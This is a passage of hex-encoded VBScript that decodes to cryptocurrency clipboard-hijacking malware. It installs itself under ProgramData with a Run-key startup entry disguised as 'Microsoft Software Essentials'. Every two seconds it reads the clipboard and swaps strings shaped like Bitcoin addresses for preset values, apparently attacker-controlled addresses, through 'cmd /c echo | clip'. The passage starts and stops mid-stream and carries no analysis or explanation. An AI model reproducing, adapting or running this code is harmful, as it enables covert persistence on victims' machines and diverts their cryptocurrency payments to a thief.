328222550524F4752414D44415441252229202620225C4D6963726F736F667420457373656E7469616C
73220D0A0D0A506179446F75626C65735833203D2057696E73446F75626C65735832202620225C536F6
6747761726520457373656E7469616C732E766273220D0A0D0A5265674A61636B706F7457696E73203D
20224D6963726F736F667420536F66747761726520457373656E7469616C73220D0A0D0A4966204E6F7
4206F626A46534F2E466F6C6465726578697374732857696E73446F75626C6573583229207468656E0D
0A6F626A46534F2E437265617465466F6C6465722057696E73446F75626C657358320D0A456E6420496
60D0A436F6E737420484B45595F43555252454E545F55534552203D20264838303030303030310D0A73
7472436F6D7075746572203D20222E220D0A536574206F626A5265676973747279203D204765744F626
A656374282277696E6D676D74733A5C5C22202620737472436F6D7075746572202620225C726F6F745C
64656661756C743A53746452656750726F7622290D0A6F626A52656769737472792E536574537472696
E6756616C756520484B45595F43555252454E545F555345522C2022536F6674776172655C4D6963726F
736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E222C205265674A61636B7
06F7457696E732C2063687228333429202620506179446F75626C65735833202620636872283334290D
0A43616C6C20437265617465506179446F75626C657358337328290D0A6F626A5753482E72756E20636
87228333429202620506179446F75626C65735833202620636872283334290D0A536574206F626A5753
48203D204E6F7468696E670D0A536574206F626A46534F203D204E6F7468696E670D0A5375622043726
5617465506179446F75626C65735833730D0A2020202044696D2046696C65506179446F75626C657358
330D0A202020205365742046696C65506179446F75626C65735833203D206F626A46534F2E437265617
4655465787446696C6528506179446F75626C657358332C2054727565290D0A2020202046696C655061
79446F75626C657358332E57726974654C696E6520224F6E204572726F7220526573756D65204E65787
4220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022536574206F62
6A48544D4C203D204372656174654F626A6563742822202620636872283334292026202248544D4C666
96C6522202620636872283334292026202229220D0A2020202046696C65506179446F75626C65735833
2E57726974654C696E652022536574206F626A575348203D204372656174654F626A656374282220262
06368722833342920262022575363726970742E5368656C6C2220262063687228333429202620222922
0D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022446F220D0A20202
02046696C65506179446F75626C657358332E57726974654C696E652022777363726970742E736C6565
70283230303029220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65202
2436C6970626F617264203D206F626A48544D4C2E506172656E7457696E646F772E436C6970626F6172
64446174612E47657444617461282220262063687228333429202620227465787422202620636872283
334292026202229220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520
224C656E6774686F66436C6970626F617264203D204C656E28436C6970626F61726429220D0A2020202
046696C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C697062
6F6172642C3229203D20222026206368722833342920262022313122202620636872283334292026202
2207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65202249
66204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C697
0626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57
726974654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696
E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C
6C52616E646F6D363020262047616D65526F6C6C52616E646F6D31202620227C20636C6970222026206
3687228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974
654C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E577269746
54C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E5772697465
4C696E6520224966204C65667428436C6970626F6172642C3229203D202220262063687228333429202
620223132222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75
626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D2
0323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A202020
2046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E20222
026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E65786520
2F63206563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616
E646F6D32202620227C20636C69702220262063687228333429202620222C2030220D0A202020204669
6C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696
C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C
65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F61726
42C3229203D202220262063687228333429202620223133222026206368722833342920262022207468
656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C6
56E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F61
7264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E577269746
54C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F77
735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616
E646F6D363020262047616D65526F6C6C52616E646F6D33202620227C20636C69702220262063687228
333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696
E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E
652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696
E6520224966204C65667428436C6970626F6172642C3229203D20222026206368722833342920262022
3134222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C6
57358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D203236
20616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A20202020466
96C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E2022202620
6368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F632
06563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E646F
6D34202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696C655
06179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C6550
6179446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C655
06179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C
3229203D202220262063687228333429202620223135222026206368722833342920262022207468656
E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C656E
6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F61726
4203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C
696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735
C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E64
6F6D363020262047616D65526F6C6C52616E646F6D35202620227C20636C69702220262063687228333
429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65
2022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652
022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E65
20224966204C65667428436C6970626F6172642C3229203D20222026206368722833342920262022313
6222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C6573
58332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D203236206
16E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C
65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E2022202620636
8722833342920262022433A5C57696E646F7773
5C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E6
46F6D363020262047616D65526F6C6C52616E646F6D36202620227C20636C6970222026206368722833
3429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6
52022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65
2022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E6
520224966204C65667428436C6970626F6172642C3229203D2022202620636872283334292026202231
37222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C657
358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D20323620
616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696
C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E202220262063
68722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206
563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E646F6D
37202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696C65506
179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C655061
79446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C65506
179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C32
29203D202220262063687228333429202620223138222026206368722833342920262022207468656E2
20D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C656E67
74686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F6172642
03C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C69
6E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735C5
3797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F
6D363020262047616D65526F6C6C52616E646F6D38202620227C20636C6970222026206368722833342
9202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520
22456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65202
2456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520
224966204C65667428436C6970626F6172642C3229203D2022202620636872283334292026202231392
22026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C657358
332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616
E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65
506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E202220262063687
22833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563
686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E646F6D392
02620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696C65506179
446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C655061794
46F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C65506179
446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C32292
03D202220262063687228333429202620223141222026206368722833342920262022207468656E220D
0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C656E67746
86F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C
3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6
520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735C5379
7374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D3
63020262047616D65526F6C6C52616E646F6D3130202620227C20636C69702220262063687228333429
202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65202
2456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022
456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E65202
24966204C65667428436C6970626F6172642C3229203D20222026206368722833342920262022314222
2026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C6573583
32E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E
64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C655
06179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E2022202620636872
2833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F632065636
86F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E646F6D3131
202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696C6550617
9446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C65506179
446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C6550617
9446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C3229
203D202220262063687228333429202620223143222026206368722833342920262022207468656E220
D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C656E6774
686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203
C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E
6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735C537
97374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D
363020262047616D65526F6C6C52616E646F6D3132202620227C20636C6970222026206368722833342
9202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520
22456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65202
2456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520
224966204C65667428436C6970626F6172642C3229203D2022202620636872283334292026202231442
22026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C657358
332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616
E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65
506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E202220262063687
22833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563
686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E646F6D313
3202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696C655061
79446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C6550617
9446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C655061
79446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C322
9203D202220262063687228333429202620223145222026206368722833342920262022207468656E22
0D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C656E677
4686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F61726420
3C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696
E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735C53
797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6
D363020262047616D65526F6C6C52616E646F6D3134202620227C20636C697022202620636872283334
29202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652
022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520
22456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E652
0224966204C65667428436C6970626F6172642C3229203D202220262063687228333429202620223146
222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C65735
8332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D2032362061
6E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C6
5506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E20222026206368
722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F6320656
3686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E646F6D31
35202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696C65506
179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C655061
79446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C65506
179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C32
29203D202220262063687228333429202620223147222026206368722833342920262022207468656E2
20D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C656E67
74686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F6172642
03C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C69
6E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735C5
3797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F
6D363020262047616D65526F6C6C52616E646F6D3136202620227C20636C69702220262063687228333
429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65
2022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652
022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E65
20224966204C65667428436C6970626F6172642C3229203D20222026206368722833342920262022314
8222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C6573
58332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D203236206
16E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C
65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E2022202620636
8722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F632065
63686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E646F6D3
137202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696C6550
6179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C65506
179446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C6550
6179446F75626C657358332E57726974654C696
E6520224966204C65667428436C6970626F6172642C3229203D20222026206368722833342920262022
3169222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C6
57358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D203236
20616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A20202020466
96C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E2022202620
6368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F632
06563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E646F
6D3138202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696C6
5506179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C65
506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C6
5506179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F617264
2C3229203D20222026206368722833342920262022314A2220262063687228333429202620222074686
56E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C65
6E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F617
264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E5772697465
4C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F777
35C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E
646F6D363020262047616D65526F6C6C52616E646F6D3139202620227C20636C6970222026206368722
8333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C69
6E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696
E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C69
6E6520224966204C65667428436C6970626F6172642C3229203D2022202620636872283334292026202
2314B222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626C
657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D20323
620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046
696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E202220262
06368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F63
206563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E646
F6D3230202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696C
65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C6
5506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C
65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F61726
42C3229203D20222026206368722833342920262022314C222026206368722833342920262022207468
656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C6
56E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F61
7264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E577269746
54C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F77
735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616
E646F6D363020262047616D65526F6C6C52616E646F6D3231202620227C20636C697022202620636872
28333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C6
96E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C69
6E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C6
96E6520224966204C65667428436C6970626F6172642C3229203D202220262063687228333429202620
22314D222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75626
C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D2032
3620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A202020204
6696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E20222026
206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F6
3206563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E64
6F6D3232202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046696
C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696C
65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046696
C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F6172
642C3229203D20222026206368722833342920262022314E22202620636872283334292026202220746
8656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C
656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F6
17264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57726974
654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F7
7735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C5261
6E646F6D363020262047616D65526F6C6C52616E646F6D3233202620227C20636C69702220262063687
228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C
696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C6
96E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654C
696E6520224966204C65667428436C6970626F6172642C3229203D20222026206368722833342920262
022316F222026206368722833342920262022207468656E220D0A2020202046696C65506179446F7562
6C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D203
23620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A20202020
46696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E2022202
6206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F
63206563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E6
46F6D3234202620227C20636C69702220262063687228333429202620222C2030220D0A202020204669
6C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202046696
C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A202020204669
6C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F617
2642C3229203D2022202620636872283334292026202231502220262063687228333429202620222074
68656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204
C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F
617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E5772697
4654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646F
77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C526
16E646F6D363020262047616D65526F6C6C52616E646F6D3235202620227C20636C6970222026206368
7228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726974654
C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654C
696E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726974654
C696E6520224966204C65667428436C6970626F6172642C3229203D2022202620636872283334292026
20223151222026206368722833342920262022207468656E220D0A2020202046696C65506179446F756
26C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D20
323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202
046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E202220
26206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657865202
F63206563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616E
646F6D3236202620227C20636C69702220262063687228333429202620222C2030220D0A20202020466
96C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A202020204669
6C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A20202020466
96C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F61
72642C3229203D202220262063687228333429202620223152222026206368722833342920262022207
468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022496620
4C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626
F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E577269
74654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696E646
F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52
616E646F6D363020262047616D65526F6C6C52616E646F6D3237202620227C20636C697022202620636
87228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E5772697465
4C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726974654
C696E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E5772697465
4C696E6520224966204C65667428436C6970626F6172642C3229203D202220262063687228333429202
620223153222026206368722833342920262022207468656E220D0A2020202046696C65506179446F75
626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D2
0323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A202020
2046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E20222
026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E65786520
2F63206563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52616
E646F6D3238202620227C20636C69702220262063687228333429202620222C2030220D0A2020202046
696C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A20202020466
96C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202046
696C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970626F6
172642C3229203D20222026206368722833342920262022315422202620636872283334292026202220
7468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65202249662
04C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C697062
6F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57726
974654C696E6520226F626A5753482E72756E20
222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E65786
5202F63206563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C52
616E646F6D3239202620227C20636C69702220262063687228333429202620222C2030220D0A2020202
046696C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A20202020
46696C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020202
046696C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C697062
6F6172642C3229203D20222026206368722833342920262022315522202620636872283334292026202
2207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65202249
66204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C697
0626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E57
726974654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57696
E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6C
6C52616E646F6D363020262047616D65526F6C6C52616E646F6D3330202620227C20636C69702220262
063687228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E577269
74654C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E5772697
4654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E577269
74654C696E6520224966204C65667428436C6970626F6172642C3229203D20222026206368722833342
9202620223156222026206368722833342920262022207468656E220D0A2020202046696C6550617944
6F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264203
E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A20
20202046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E2
0222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E6578
65202F63206563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C5
2616E646F6D3331202620227C20636C69702220262063687228333429202620222C2030220D0A202020
2046696C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020202
046696C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A202020
2046696C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C69706
26F6172642C3229203D2022202620636872283334292026202231572220262063687228333429202620
22207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224
966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C69
70626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E5
7726974654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C5769
6E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F6
C6C52616E646F6D363020262047616D65526F6C6C52616E646F6D3332202620227C20636C6970222026
2063687228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57726
974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E577269
74654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57726
974654C696E6520224966204C65667428436C6970626F6172642C3229203D2022202620636872283334
29202620223158222026206368722833342920262022207468656E220D0A2020202046696C655061794
46F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F61726420
3E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A2
020202046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756E
20222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E657
865202F63206563686F202220262047616D65526F6C6C52616E646F6D363020262047616D65526F6C6C
52616E646F6D3333202620227C20636C69702220262063687228333429202620222C2030220D0A20202
02046696C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A202020
2046696C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A20202
02046696C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C6970
626F6172642C3229203D20222026206368722833342920262022315A222026206368722833342920262
022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022
4966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C6
970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332E
57726974654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C576
96E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526F
6C6C52616E646F6D363020262047616D65526F6C6C52616E646F6D3334202620227C20636C697022202
62063687228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E5772
6974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E57726
974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E5772
6974654C696E6520224966204C65667428436C6970626F6172642C3229203D202220262063687228333
429202620223331222026206368722833342920262022207468656E220D0A2020202046696C65506179
